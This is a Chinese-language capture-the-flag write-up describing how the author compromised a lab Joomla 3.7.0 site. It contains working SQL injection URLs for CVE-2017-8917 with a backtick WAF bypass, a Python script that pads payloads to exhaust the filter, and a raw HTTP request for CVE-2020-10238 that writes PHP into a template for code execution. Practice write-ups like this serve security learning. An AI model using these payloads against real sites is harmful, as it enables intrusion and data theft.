做了好几天A组,太顶了,全是0day,不知道远程环境的问题还是什么,跟着复现一直打不下来,就先肝了B组,A组有时间再搞了
信息收集
http://awd19-b22.aqlab.cn/language/en-GB/en-GB.xml
信息泄露 Joomla v3.7.0
搜到CVE-2017-8917,Joomla v3.7.0 SQL注入漏洞,直接拿POC打了
但是发现有waf,经过尝试后发现,函数加反引号可以绕过过滤
再扫一扫,看能不能找到后台
访问/admincp,进入后台登陆页面
sql注入
爆user:
http://awd19-b22.aqlab.cn/?option=com_fields&view=fields&layout=modal&list[fullordering]=`updatexml`(0x23,concat(1,user()),1)
爆库名:
http://awd19-b22.aqlab.cn/?option=com_fields&view=fields&layout=modal&list[fullordering]=`updatexml`(0x23,concat(1,database()),1) joomla
爆表名
发现失败,测试发现过滤了select from 组合
常见的绕过方法都试了一下,不行。只能尝试耗尽资源了
编写exp
import requests
url = 'http://awd19-b22.aqlab.cn/'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"
}
for i in range(2500,9999):
payload1 = '`updatexml`(0x23,concat'
payload2 = "/*"+"ABC"*i+"*/(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)"
payload = payload1 + payload2
data = {
"option":"com_fields",
"view":"fields",
"layout":"modal",
"list[fullordering]":payload
}
print(i)
re = requests.post(url,headers=headers,data=data).text
print(data)
print(re)
if "url" not in re:
print(payload)
print(re)
大概要七八千个字符的样子吧
跑表名:
找到像有flag的表
跑列名:
id和passwd
select id from #__user_flag
select passwd from #__user_flag
利用账号密码成功登陆后台
访问根目录
在内容管理|多媒体文件管理|默认设置中可以更改默认上传路径,想改格式但是权限不够
但是没关系,再返回多媒体文件管理处,此时可查看的文件目录已经变成根目录,发现flag
越权
寻找Joomla漏洞,发现CVE-2020-10238
想尝试直接用poc打,试了一下普通管理员用户,失败
思路:(借用零组文库中的)
- 首先超级管理员跟管理员的后台界面是不同的
- 将恶意代码添加到index.php里面
- 使用管理员账户修改index.php,通过超级管理员进行index.php的文件编辑来获取到返回请求。
POST /administrator/index.php?option=com_templates&view=template&id=506&file=L2Vycm9yLnBocA HTTP/1.1
Host: awd19-b22.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Origin: http://awd19-b22.aqlab.cn
Connection: close
Referer: http://awd19-b22.aqlab.cn/administrator/index.php?option=com_templates
Cookie: 130278f82abbc8f1ceb3ac4309021b2b=slam3h7l6okovrs20tvp1fesq0; security_background_key=9b7cb5d77dcd0fd33bcc81776e969fbc; 690431198df27d8fa794457ed53cca89=bffrsha2dq6ueau37ssp0pf176
Upgrade-Insecure-Requests: 1
jform%5Bsource%5D=<?php phpinfo() ?>&task=template.save&7f2ce2c7034f63a9d01ad505d26d83ee=1&jform%5Bextension_id%5D=506&jform%5Bfilename%5D=%2Ferror.php
提交如上数据包,访问/templates/protostar/error.php
phpinfo成功执行
由于有waf,就不写shell了,直接ls爆路径,爆出flag即可